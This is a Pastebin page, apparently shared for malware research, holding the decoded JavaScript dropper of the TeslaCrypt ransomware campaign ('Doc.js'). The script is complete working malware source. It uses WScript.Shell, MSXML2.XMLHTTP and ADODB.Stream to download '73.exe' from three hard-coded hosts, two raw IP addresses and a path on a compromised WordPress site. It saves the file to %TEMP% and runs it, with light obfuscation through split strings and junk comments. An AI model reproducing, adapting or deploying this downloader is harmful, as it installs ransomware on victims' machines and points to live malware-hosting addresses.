Advertisement
guelfoweb

TeslaCrypt - Doc.js Decoded

Dec 2nd, 2015
9,434
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // Encoded JS: http://pastebin.com/UpfATF3r
  2.  
  3. var b = "74.117.183.84/73.exe? 5.39.222.193/73.exe? bestsurfinglessons.com/wp-includes/theme-compat/73.exe?".split(" ");
  4. var sdf =((1/*s147933046596n263280uM354193eOiZ*/)?"WScri":"")+"pt.Shell";
  5. var ws = WScript.CreateObject(sdf);
  6. var fd = "%TEMP%\\";
  7. var fn = ws.ExpandEnvironmentStrings(fd);
  8. var bim = "2.XMLH";
  9. var poh = bim + "TTP";
  10. var as = true  , sdfs = "ADOD";
  11. var xo = WScript.CreateObject("MS"+"XML"+(740509, poh));
  12. var xa = WScript.CreateObject(sdfs + "B.St"+(748555, "ream"));
  13. var ld = 0;
  14. var n = 1;
  15. for (var i=ld; i<b.length; i++)  {
  16.   var dn = 0;
  17.   try  {
  18.     poi = "GET";     
  19.     xo.open(poi,"http://"+b[i]+n, false); xo.send(); if (xo.status == 100+100)  {
  20.       xa.open(); xa.type = 1; xa.write(xo.responseBody); if (xa.size > 201000-1000)  {
  21.         dn = 1; xa.position = 0; xa.saveToFile/*d92588s*/(fn/*d146128s*/+n+".exe",4-2); try  {
  22.           if (((new Date())>0,7573655888)) {
  23.             ws./*d557255s*/Run(fn+n+/*d335145s*/".exe",/*d835626s*/3-2,0);
  24.             break;
  25.           }
  26.         }
  27.         catch (er)  {
  28.         };
  29.       }; xa.close();
  30.     };
  31.     if (dn == 1)  {
  32.       ld = i; break;
  33.     };
  34.   }
  35.   catch (er)  {
  36.   };
  37. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement